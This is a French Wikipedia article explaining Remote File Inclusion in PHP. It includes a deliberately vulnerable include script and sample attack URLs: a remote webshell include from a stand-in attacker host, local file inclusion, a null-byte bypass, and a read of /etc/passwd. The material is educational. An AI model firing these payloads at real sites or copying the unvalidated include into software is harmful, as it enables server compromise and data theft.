Remote File Inclusion

Un article de Wikipédia, l'encyclopédie libre.

Remote File Inclusion (RFI) est un type de vulnérabilité trouvé le plus souvent sur des sites web. Il permet à un attaquant d'inclure un fichier distant, généralement par le biais d'un script sur le serveur web. La vulnérabilité est due à l'utilisation de l'entrée fournie par l'utilisateur sans validation adéquate. Elle peut conduire à :

Les langages de programmation[modifier | modifier le code]

Les attaques RFI peuvent se produire avec n'importe quel langage de script (ASP, JSP, PHP...).

Exemple en PHP[modifier | modifier le code]

En PHP, la cause principale est due à l'utilisation de variables externes non validées tels que $_GET, $_POST, $_COOKIE avec une fonction liée à un fichier. Les plus utilisés sont les fonctions d'include et de require. La plupart des vulnérabilités peuvent être attribuées aux programmeurs débutants n'étant pas au courant de toutes les fonctionnalités du langage de programmation PHP. Le langage PHP a une directive allow_url_fopen. Si elle est activée, elle permet aux fonctions de fichiers d'utiliser une URL qui leur permet de récupérer des données à partir d'emplacements distants. Un attaquant va modifier une variable qui est transmise à l'une de ces fonctions pour l'amener à inclure du code malveillant à partir d'une ressource distante. Pour atténuer cette vulnérabilité, toutes les entrées utilisateur doivent être validées avant d'être utilisées.

Exemple[modifier | modifier le code]

Considérons ce script PHP qui inclut un fichier spécifié par requête :

<?php
   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   include( $color . '.php' );
?>
<form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

Le développeur rend utilisable uniquement blue.php et red.php pour être utilisé comme options. Mais comme tout le monde peut facilement insérer des valeurs arbitraires en couleur, il est possible d'injecter du code à partir de fichiers :

  • /vulnerable.php?COLOR=http://evil.example.com/webshell.txt? - Injecte un fichier hébergé à distance contenant du code malveillant.
  • /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Exécute le code à partir d'un fichier déjà téléchargé appelé exploit.php (vulnérabilité d'inclusion de fichiers en local)
  • /vulnerable.php?COLOR=C:\\notes.txt%00 - Par exemple en utilisant le caractère méta NULL pour enlever le suffixe php, permettant l'accès à des fichiers autres que php... (Avec magic_quotes_gpc activée, elle limite l'attaque par l'échappement des caractères spéciaux, cela désactive l'utilisation de la terminaison NULL)
  • /vulnerable.php?COLOR=/etc/passwd%00 - Permet à un attaquant de lire le contenu du fichier passwd sur un système UNIX.